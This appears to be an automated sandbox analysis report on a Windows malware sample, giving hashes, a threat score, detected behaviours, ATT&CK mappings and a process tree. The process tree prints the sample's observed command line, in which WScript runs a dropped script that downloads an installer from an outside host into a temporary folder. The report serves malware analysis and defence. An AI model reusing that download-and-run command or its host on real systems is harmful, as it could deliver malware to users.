ae15d168cc28091dfc936f447ce612e5d51d7a9f430333eaf93163df1b3901a7

General

Target
9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe
Size 184KB
Sample240611-e4t9rsvdrm
SHA256 ae15d168cc28091dfc936f447ce612e5d51d7a9f430333eaf93163df1b3901a7
MD5 9cfb85732c7400c207c2e5ae5eb2eb26
SHA1 4623ac8cf962087a3c6585a4204e59f0c8e9265b
SHA512 5ed4722b8b6b1d34fc653a218eaf39c9186706e10614893af811726c279d1995a3ace2a07191c4eb54de2a5a9f9b4a00eede26e0a29c4b03f99384f6b66b57bb
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3e:/7BSH8zUB+nGESaaRvoB7FJNndnv
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	64	WScript.exe
23	1392	WScript.exe
24	1392	WScript.exe
36	1520	WScript.exe
48	4892	WScript.exe
50	4752	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000_Classes\Local Settings	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 64	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	81
PID 3008 wrote to memory of 64	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	81
PID 3008 wrote to memory of 64	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	81
PID 3008 wrote to memory of 1392	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	87
PID 3008 wrote to memory of 1392	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	87
PID 3008 wrote to memory of 1392	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	87
PID 3008 wrote to memory of 1520	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	90
PID 3008 wrote to memory of 1520	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	90
PID 3008 wrote to memory of 1520	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	90
PID 3008 wrote to memory of 4892	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	92
PID 3008 wrote to memory of 4892	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	92
PID 3008 wrote to memory of 4892	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	92
PID 3008 wrote to memory of 4752	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	93
PID 3008 wrote to memory of 4752	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	93
PID 3008 wrote to memory of 4752	3008	9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe	93

C:\Users\Admin\AppData\Local\Temp\9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9cfb85732c7400c207c2e5ae5eb2eb26_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E15.js" http://www.djapp.info/?domain=zDLvToRUrh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E15.exe
  2⤵
  - Blocklisted process makes network request
  PID:64
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E15.js" http://www.djapp.info/?domain=zDLvToRUrh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E15.exe
  2⤵
  - Blocklisted process makes network request
  PID:1392
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E15.js" http://www.djapp.info/?domain=zDLvToRUrh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E15.exe
  2⤵
  - Blocklisted process makes network request
  PID:1520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E15.js" http://www.djapp.info/?domain=zDLvToRUrh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E15.exe
  2⤵
  - Blocklisted process makes network request
  PID:4892
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2E15.js" http://www.djapp.info/?domain=zDLvToRUrh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2E15.exe
  2⤵
  - Blocklisted process makes network request
  PID:4752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fuf2E15.js

Path C:\Users\Admin\AppData\Local\Temp\fuf2E15.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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